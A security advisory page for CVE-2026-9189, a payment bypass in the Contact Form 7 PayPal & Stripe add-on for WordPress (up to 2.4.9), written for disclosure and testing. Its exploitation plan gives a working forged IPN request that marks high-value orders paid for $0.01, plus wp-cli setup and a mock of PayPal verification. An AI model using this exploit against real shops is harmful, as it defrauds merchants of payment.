Contact Form 7 – PayPal & Stripe Add-on <= 2.4.9 - Unauthenticated Payment Bypass via Insufficient Verification of Data Authenticity via PayPal IPN Handler ('invoice'/'mc_gross' Verification)
Description
The Contact Form 7 – PayPal & Stripe Add-on plugin for WordPress is vulnerable to Payment Bypass via Insufficient Verification of Data Authenticity in all versions up to, and including, 2.4.9. Although `cf7pp_paypal_ipn_handler()` correctly validates IPN authenticity by posting back to PayPal with `cmd=_notify-validate`, it fails to compare the IPN payload's `mc_gross` (payment amount), `mc_currency`, or `receiver_email` fields against the corresponding stored order values before passing the attacker-controlled `invoice` field directly to `cf7pp_complete_payment()`, which marks the order completed after only an integer cast with no amount verification. This makes it possible for unauthenticated attackers to mark arbitrary high-value pending orders as fully paid by making a minimal real PayPal payment and crafting an IPN whose `invoice` parameter references the targeted order, effectively completing purchases without tendering the required payment amount.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=2.4.9What Changed in the Fix
Changes introduced in v2.4.10
Source Code
WordPress.org SVN# Exploitation Research Plan - CVE-2026-9189 ## 1. Vulnerability Summary The **Contact Form 7 – PayPal & Stripe Add-on** plugin (up to version 2.4.9) contains a payment bypass vulnerability in its PayPal IPN (Instant Payment Notification) handling logic. While the plugin correctly validates that an…
Show full research plan
Exploitation Research Plan - CVE-2026-9189
1. Vulnerability Summary
The Contact Form 7 – PayPal & Stripe Add-on plugin (up to version 2.4.9) contains a payment bypass vulnerability in its PayPal IPN (Instant Payment Notification) handling logic. While the plugin correctly validates that an IPN message originated from PayPal by performing a post-back to _notify-validate, it fails to verify that the payment details (specifically the amount mc_gross and currency mc_currency) match the expected values for the order identified by the invoice parameter.
The vulnerability exists because cf7pp_paypal_ipn_handler() in includes/payments/paypal_handler.php extracts the invoice field from the IPN payload and passes it directly to cf7pp_complete_payment() without validating that the paid amount matches the order's stored amount. An attacker can make a minimal payment (e.g., $0.01) and, by providing the ID of a high-value pending order in the invoice field, mark that order as fully paid.
2. Attack Vector Analysis
- Endpoint: WordPress REST API route for PayPal IPN.
- Sandbox:
/wp-json/paypalipn/v1/cf7pp_sandbox - Production:
/wp-json/paypalipn/v1/cf7pp_production
- Sandbox:
- Method:
POST - Authentication: Unauthenticated (Permission callback
cf7pp_paypal_ipn_authreturnstrue). - Payload Parameters:
payment_status: Must beCompleted(case-insensitive).invoice: The integer ID of thecf7pp_paymentspost to be marked as completed.mc_gross: Any amount (the vulnerability is that this is not verified).txn_id: A transaction ID (will be stored in metadata).receiver_email: Must match the configured PayPal email in settings (if set).
3. Code Flow
- Entry Point:
cf7pp_paypal_ipn_listener()registers the REST route pointing tocf7pp_paypal_ipn_handler(). - Payload Parsing:
cf7pp_paypal_ipn_handler()reads the raw POST body and parses it into the$dataarray. - Status Check: It verifies
strtolower($data['payment_status']) == 'completed'. - Verification: It performs a
wp_remote_postto PayPal's_notify-validateendpoint. - Missing Check: CRITICAL SINK. The code proceeds to call
cf7pp_complete_payment($data['invoice'], $status, $data['txn_id']). It never retrieves the stored amount meta from theinvoicepost ID to compare it with$data['mc_gross']. - Execution:
cf7pp_complete_payment()(inincludes/payments/functions.php) casts$payment_idto an integer, verifies the post type iscf7pp_paymentsand status iscf7pp-pending, then updates the status tocf7pp-completed.
4. Nonce Acquisition Strategy
No WordPress nonce is required for this attack.
The IPN listener is designed to be called by PayPal's servers and uses a custom authentication callback:
function cf7pp_paypal_ipn_auth() {
return true; // security done in the handler
}
The "security done in the handler" refers to the PayPal post-back verification, which can be bypassed in a test environment by mocking the HTTP response.
5. Exploitation Strategy
Pre-requisite: Mocking PayPal Verification
Since the test environment is isolated, the wp_remote_post call to PayPal will fail or cannot be verified. To test the logic, we must force the plugin to believe the IPN is "VERIFIED".
- Use
wp evalto add a filter to the target WordPress instance that mocks the response for any request topaypal.com.
Step-by-Step Exploit
- Create a Target Order: Create a pending payment for a high amount (e.g., $1000).
- Send Malicious IPN: Send a
POSTrequest to the IPN handler with a lowmc_gross($0.01) but theinvoiceset to the high-value Order ID. - Verify Bypass: Check if the high-value order status changed to
cf7pp-completed.
HTTP Request (using http_request tool)
- URL:
http://localhost:8080/wp-json/paypalipn/v1/cf7pp_production(assuming default mode) - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
payment_status=Completed&invoice=[TARGET_ID]&mc_gross=0.01&txn_id=ATTACK-TXN-123&mc_currency=USD
6. Test Data Setup
- Configure Plugin: Ensure the plugin is active and "Production" mode is selected (default).
wp option update cf7pp_options '{"mode":"2"}' --format=json - Create Target Payment: Create a pending payment manually to simulate a user submission.
Note the returned ID.wp eval 'include_once "wp-content/plugins/contact-form-7-paypal-add-on/includes/payments/functions.php"; echo cf7pp_insert_payment("paypal", "live", "1000.00", 1);' - Setup Verification Mock:
wp eval 'add_filter("pre_http_request", function($pre, $args, $url) { if (strpos($url, "paypal.com") !== false) return ["body" => "VERIFIED", "response" => ["code" => 200]]; return $pre; }, 10, 3);'
7. Expected Results
- The IPN handler should return a
200 OKresponse. - The
cf7pp_paymentspost with the target ID should have itspost_statusupdated fromcf7pp-pendingtocf7pp-completed. - Metadata
transaction_idfor that post should be set toATTACK-TXN-123. - The payment record is now considered "Paid" despite only $0.01 being "sent" in the IPN.
8. Verification Steps
- Check Post Status:
Expected:wp post get [TARGET_ID] --field=post_statuscf7pp-completed - Check Transaction ID:
Expected:wp post meta get [TARGET_ID] transaction_idATTACK-TXN-123 - Check Amount (Verify it remains unchanged/mismatched):
Expected:wp post meta get [TARGET_ID] amount1000.00(proving the completion happened without verifying the $0.01 in the IPN).
9. Alternative Approaches
If "Production" mode fails, attempt "Sandbox" mode:
- Change mode:
wp option update cf7pp_options '{"mode":"1"}' --format=json - Update URL to:
/wp-json/paypalipn/v1/cf7pp_sandbox - Ensure the IPN body includes
receiver_emailif asandboxaccountis defined incf7pp_options. Ifsandboxaccountis empty, the check is skipped.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.